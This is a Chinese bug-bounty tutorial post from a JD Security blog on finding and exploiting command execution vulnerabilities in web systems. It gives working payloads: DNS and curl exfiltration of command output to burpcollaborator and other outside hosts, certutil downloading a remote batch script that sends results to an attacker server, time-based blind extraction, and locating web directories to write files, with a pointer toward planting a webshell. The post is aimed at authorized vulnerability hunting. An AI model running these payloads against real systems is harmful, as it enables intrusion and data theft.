开发者社区 > 博文 > 【JSRC小课堂】Web安全专题(四)SRC漏洞挖掘技术之命令执行漏洞
分享
  • 打开微信扫码分享

  • 点击前往QQ分享

  • 点击前往微博分享

  • 点击复制链接

【JSRC小课堂】Web安全专题(四)SRC漏洞挖掘技术之命令执行漏洞

  • 京东安全
  • 2020-05-08
  • IP归属:北京
  • 121600浏览

640.jpg



小课堂黑板报

上期小课堂(【JSRC小课堂预告】Web安全专题(三)SRC漏洞挖掘技巧之高质量信息收集)讲师3stoneBrother分享了收集SRC高质量信息的思路,JSRC小课堂第150期,邀请到SRC核心白帽局外人,为大家分享关于命令执行漏洞挖掘的新观点。

命令执行漏洞是Web安全领域常见的漏洞类型,Web容器、Web框架等各种Web组件都可能发生命令执行漏洞。我们在挖掘命令执行漏洞时可能会遇到由于规则不允许写文件但需要得到命令执行结果的情况,或服务器无法出网需要得到结果的情况,以及允许写文件但找不到目录的情况,那么这些问题可以如何解决呢?

基于上述漏洞挖掘的问题,本期主要从系统判断方法、通过dnslog回显任意命令结果、通过延时判断命令执行结果和自动查找目录写文件四步来分享如何挖掘命令执行漏洞。




 Step 1 :判断系统方法



我们可以如何判断系统呢?同一命令通过不同参数进行判断,这里以Ping命令为例进行说明:


Ping命令在Linux和Win中的参数不同,在Linux中为-c参数,Win中为-n参数,效果可参考下图,这里需要提到,错误的参数会导致命令执行错误。


Win: ping-n3 baidu.com

640.png


Linux:ping-c3 baidu.com

640.png


Windows下的Ping命令每间隔一秒会发送一个ICMP ECHO_REQUEST 包,因此可以利用 Ping 命令来近似地模拟等待指定秒数的效果。


640.png


其中 -n 后指定发送 ECHO_REQUEST 包的数量,也就是我们需要等待的秒数+ 1。需要+1 的原因是,第一个包不经过等待就会被发送,也可用choice /T5/CX/DX /N >null去延时。


640.png


命令让用户在一系列选项中作出选择,并且可以被设置一个超时时间,因而也可以用来模拟等待。在 Windows Server 2003、 Windows Vista 及之后的版本可用。

特有命令判断(certutil)可参考如下方式及效果图:
Certutil -urlcache -split –f http://446kjyche3fr57xdvfkifwvy1p7gv5.burpcollaborator.net/

640.png





Step 2 通过dnslog回显任意命令结果


当系统判断完毕,我们可以通过dns来获取命令执行的结果,比较简单的例如whoami`.xxx.com,这里需要提到的是,一般情况下dns传递结果的长度是有限的,那么如何通过dns来获取较长的执行结果呢?笔者归纳了如下几种方式供大家参考:


(1) 利用格式化输出

命令如下:

(pwd;id;hostname)|xxd -ps -c 20|awk'{system("nslookup "NR"."$0".c.pproot.com")}'


640.png

640.jpg

640.png


(2) 通过curl传递结果

命令如下:

curl --connect-timeout 3 http://uushnjf9zjc7q5526djxushjbah19py.burpcollaborator.net/2/  -d data=$((id)|base64 -w 0)


640.png

640.png

640.png


(3) Win环境下通过certutil回显结果

具体思路:构造Payload下载远程bat脚本,执行bat, 发送执行命令的结果到vps监听端口       


Bat脚本内容可参考如下内容:

whoami>c:/windows/temp/cmd.txt

for /f "delims=" %%a in (c:/windows/temp/cmd.txt)do (set line=%%a)

certutil -urlcache -split -fhttp://x.x.x.x:8888/?result=%line%  "c:\\windows\\temp\\.res.txt"

将以上bat文件放在vps上,然后通过certutil下载到本地。

 

certutil-urlcache-split-f

http://x.x.x.x/remoteommand.bat"c:\\windows\\temp\\remote.bat"


640.png


然后在目标服务器执行bat脚本c:\\windows\\temp\\remote.bat成功获取结果:


640.png


640.png





 Step 3 :通过延时判断命令执行结果


命令执行结果回显完毕,就需要通过延时来判断命令执行的结果。


Linux环境下我们有两种判断方法:

方法一:

使用base32编码命令的结果,再使用cut命令截取每一位,操作效果参考下图:


640.png


方法二:

使用if [ $(whoami|base32|cut -c 1) ="O" ];then echo 1;fi,有输出,

使用if [ $(whoami|base32|cut -c 1) = "q" ];then echo 1;fi,无输出。


640.png


这样操作就能够产生布尔关系,将echo1换成sleep 2,进而可以像盲注一样通过延时逐位获取结果。


这里较为详细的分析和脚本建议参考iceMatcha的博客,博客地址:https://icematcha.win/?p=532




 Step 4 :自动查找目录写文件



命令执行结果判断完毕,我们可以开始自动写文件,Linux环境下有两种可供参考的自动写文件的方法:

方法一:

find 命令:find . -type f -name 1.js


640.png


既然可以查找到js文件,那我们直接将写文件的拼接起来即可,将id,pwd,hostname的结果写在js/test1.txt中,命令find . -type f -name 1.js|while read f;do sh -c'id;pwd;hostname;/sbin/ifconfig' >$(dirname $f)/test.txt;done,效果可参考下图:


640.png


这里需要提到的是,locate和find 不同, find 可以在硬盘找,locate只能在/var/lib/slocate资料库中找。一般情况下locate的速度会比find快,主要是因为locate并不是真的查找,而是查数据库,这里以查找js文件的效果为例,可参考下图:


640.png


在可以查找到js文件的条件下,我们可以直接将写的文件进行拼接,将id,pwd,hostname的结果写在js/test1.txt中,再访问xxx.com/js/test1.txt即可。


这里需要我们熟悉基本的命令编写及修改。locate /js/1.js|while read f;do sh -c 'id;pwd;ifconfig'>$(dirname $f)/test1.txt;done,命令效果参考下图:


640.png


既然linux环境下可以运行上述操作,那么Win环境下是否同样可以呢?


我们尝试下:

Win查找文件命令dir /x /s /b index.html


640.png


成功查找到文件目录,接着我们结合写入操作,命令:cmd /c "for/f %i in ('dir /x /s /b index.html') do (echo%i>%i.path.txt)%26(ipconfig>%i.ipconfig.txt)"


640.png

成功创建index.html.path.txt和index.html.ipconfig.txt文件,效果参见下图:


640.png


其中index.html.path.txt为路径:


640.png


index.html.ipconfig.txt为ifconfig执行的命令结果:


640.png


有了路径我们就可以直接写webshell,或通过修改ifconfig命令快捷写shell。


说明:笔者以上思路整理自补天众测漏洞审核过程中的实践经验和思考,特别鸣谢looxp9和带头老哥以及iceMatcha等朋友。



小伙伴们

针对本期内容和小课堂课程

如果您有哪些问题和建议,

欢迎更多白帽子们加入 

小课堂开课 QQ 群464465695


共0条评论